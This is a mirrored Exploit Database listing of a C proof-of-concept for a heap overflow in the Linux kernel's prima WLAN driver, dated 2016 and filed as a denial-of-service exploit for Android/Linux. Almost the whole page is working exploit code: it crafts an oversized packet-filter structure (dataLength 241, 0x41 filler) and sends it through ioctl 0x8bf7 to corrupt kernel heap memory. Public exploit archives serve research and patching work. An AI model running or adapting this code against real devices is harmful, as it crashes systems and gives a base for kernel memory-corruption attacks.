Linux Kernel 3.x/4.x – prima WLAN Driver Heap Overflow

• Exploit Database
• 34 阅读

• 作者： Shawn the R0ck
  日期： 2016-01-25
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39308/

• /*
   * Coder: Shawn the R0ck, [citypw@gmail.com]
   * Co-worker: Pray3r, [pray3r.z@gmail.com]
   * Compile:
   * # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT-pie 
   * # ./a.out wlan0
   * Boom......shit happens[ as always];-)
  */
  
  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/ioctl.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <linux/wireless.h>
  #include <errno.h>
  
  typedef unsigned char v_U8_t;
  #define HDD_MAX_CMP_PER_PACKET_FILTER 5
  
  struct PacketFilterParamsCfg {
  	v_U8_t protocolLayer;
  	v_U8_t cmpFlag;
  	v_U8_t dataOffset;
  	v_U8_t dataLength;
  	v_U8_t compareData[8];
  	v_U8_t dataMask[8];
  };
  
  typedef struct {
  	v_U8_t filterAction;
  	v_U8_t filterId;
  	v_U8_t numParams;
  	struct PacketFilterParamsCfg
  	paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
  } tPacketFilterCfg, *tpPacketFilterCfg;
  
  int main(int argc, const char *argv[])
  {
  	if (argc != 2) {
  		fprintf(stderr, "Bad usage\n");
  		fprintf(stderr, "Usage: %s ifname\n", argv[0]);
  		return -1;
  	}
  
  	struct iwreq req;
  	strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
  	int fd, status, i = 0;
  	fd = socket(AF_INET, SOCK_DGRAM, 0);
  	tPacketFilterCfg p_req;
  
  	/* crafting a data structure to triggering the code path */
  	req.u.data.pointer =
  	malloc(sizeof(v_U8_t) * 3 +
  		 sizeof(struct PacketFilterParamsCfg) * 5);
  	p_req.filterAction = 1;
  	p_req.filterId = 0;
  	p_req.numParams = 3;
  	for (; i < 5; i++) {
  		p_req.paramsData[i].dataLength = 241;
  		memset(&p_req.paramsData[i].compareData, 0x41, 16);
  	}
  
  	memcpy(req.u.data.pointer, &p_req,
  	 sizeof(v_U8_t) * 3 +
  	 sizeof(struct PacketFilterParamsCfg) * 5);
  
  	if (ioctl(fd, 0x8bf7, &req) == -1) {
  		fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
  			argv[1], strerror(errno));
  	} else {
  		printf("You shouldn't see this msg...\n");
  	}
  
  }